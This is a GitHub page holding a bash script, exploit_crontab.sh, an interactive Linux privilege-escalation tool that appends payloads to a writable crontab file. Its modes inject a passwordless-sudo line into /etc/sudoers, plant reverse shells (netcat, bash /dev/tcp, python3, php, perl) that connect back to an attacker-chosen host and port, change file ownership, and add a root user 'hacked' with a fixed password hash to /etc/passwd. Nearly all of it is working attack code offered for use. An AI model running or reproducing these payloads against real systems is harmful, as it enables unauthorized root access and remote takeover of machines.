-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit_crontab.sh
219 lines (180 loc) · 6.29 KB
/
exploit_crontab.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/bin/bash
RED='\033[0;31m'
LIGHT_WHITE='\033[0;97m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
CYAN='\033[0;36m'
blink_on="\e[5m"
blink_off="\e[25m"
text="Wait for cronjob :)"
reset="\e[0m"
NC='\033[0m'
function banner_logo(){
echo ""
echo "⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜"
echo -e "${RED}____ ____ ____ _ _ _ ____ ___ ____ _ _ ___ _ ____ _ ___${NC}"
echo -e "${LIGHT_WHITE}| |__/ | | |\ | | | | |__] __ |___ \/ |__] | | | | |${NC}"
echo -e "${GREEN}|___ | \ |__| | \| _| |__| |__] |___ _/\_ | |___ |__| | |${NC}"
echo ""
echo "⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜"
}
function sudo_injection(){
current_user=$1
file_to_inject=$2
file="/etc/sudoers"
payload="$current_user ALL=(ALL) NOPASSWD:ALL"
exploit=$(echo "echo '$payload' >> $file" >> $file_to_inject)
}
function reverse_shell(){
rev_shell=$1
lhost=$2
lport=$3
file_to_inject=$4
if [[ $rev_shell == "netcat" || $rev_shell == "nc" ]];
then
payload="nc $lhost $lport -e /bin/bash"
exploit=$(echo "$payload" >> $file_to_inject)
elif [[ $rev_shell == "bash" || $rev_shell == "/bin/bash" ]];
then
payload="/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1"
exploit=$(echo "$payload" >> $file_to_inject)
elif [[ $rev_shell == "python3" || $rev_shell == "py" ]];
then
payload="python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$localhost\",$lport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
exploit=$(echo "$payload" >> $file_to_inject)
elif [[ $rev_shell == "php" ]];
then
payload="php -r '$sock=fsockopen(\"$lhost\",$lport);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
exploit=$(echo "$payload" >> $file_to_inject)
elif [[ $rev_shell == "perl" ]];
then
payload="perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($lport,inet_aton(\"$lhost\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
exploit=$(echo "$payload" >> $file_to_inject)
else
echo -e "${RED}[X]${NC} No payload selected"
echo ""
fi
}
function change_file_owner(){
current_user=$1
target_file=$2
file_to_inject=$3
payload="chown $current_user $target_file"
exploit=$(echo "$payload" >> $file_to_inject)
}
function add_superuser(){
file_to_inject=$1
file="/etc/passwd"
_binary='$1$hacked$ihQQpAqXirphTVaWAhZC1/'
payload="hacked:$_binary:0:0:test:/root:/bin/bash"
exploit=$(echo "echo '$payload' >> $file" >> $file_to_inject)
}
banner_logo
export TERM=xterm
echo ""
echo -e "${LIGHT_WHITE}------------------------->${NC} ${RED}CRONTAB EXPLOIT${NC} ${LIGHT_WHITE}<-----------------------${NC}"
echo "==================================================================="
echo -e """${CYAN}- Operation modes${NC} => 1 - edit /etc/sudoers
2 - reverse_shell injection
3 - change file owner
4 - add superuser
5 - exit"""
echo "==================================================================="
echo -ne "${YELLOW}[!]${NC} Select Operation mode: "
read -r mode;
clear
if [ $mode == 1 ];
then
echo "------------------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the current bash user: "
read -r user;
echo "------------------------------------------------"
echo ""
echo "-------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
read -r file;
echo "-------------------------------------"
sudo_injection $user $file
echo "---------------------------------------"
echo -e "${YELLOW}[!]${NC} Exploited! Execute => \"sudo su\""
printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"
echo "---------------------------------------"
echo ""
elif [ $mode == 2 ];
then
echo "================================="
echo -e """${CYAN}- Reverse_shell${NC} [type] => netcat
bash
python3
php
perl"""
echo "================================="
echo ""
echo "------------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the reverse shell type: "
read -r shell;
echo "------------------------------------------"
echo ""
echo "------------------------"
echo -ne "${GREEN}[LHOST]${NC}= "
read -r localhost
echo "------------------------"
echo "------------------------"
echo -ne "${GREEN}[LPORT]${NC}= "
read -r port
echo "------------------------"
echo ""
echo "====================================="
echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
read -r file;
echo "====================================="
reverse_shell $shell $localhost $port $file
echo -e "${RED}>>> Good luck! <<<${NC}"
echo ""
echo ""
echo -e "${YELLOW}[+]${NC} Execute => ${CYAN}[nc -vnltp $lport]${NC}"
printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"
echo ""
elif [ $mode == 3 ];
then
echo "------------------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the current bash user: "
read -r user;
echo "------------------------------------------------"
echo ""
echo "-----------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the target file: "
read -r job_file;
echo "-----------------------------------------"
echo "-----------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
read -r file;
echo "-----------------------------------------"
change_file_owner $user $job_file $file
echo "---------------------------------"
echo -e "${YELLOW}[!]${NC} Exploited! Check the file."
printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"
echo "---------------------------------"
echo ""
elif [ $mode == 4 ];
then
echo "-------------------------------------"
echo -ne "${YELLOW}[!]${NC} Insert the crontab file: "
read -r file;
echo "-------------------------------------"
add_superuser $file
echo ""
echo "--------------------------------------------"
echo -e "${YELLOW}[!]${NC} Exploited! New Admin!: hacked | 123"
printf "${RED}${blink_on}%s${NC}${reset}\n" "$text"
echo "--------------------------------------------"
echo ""
elif [ $mode == 5 ];
then
echo -e "${CYAN}[!]${NC} Happy hacking! :D"
exit
else
echo -e "${CYAN}[!]${NC} Done"
echo ""
exit
fi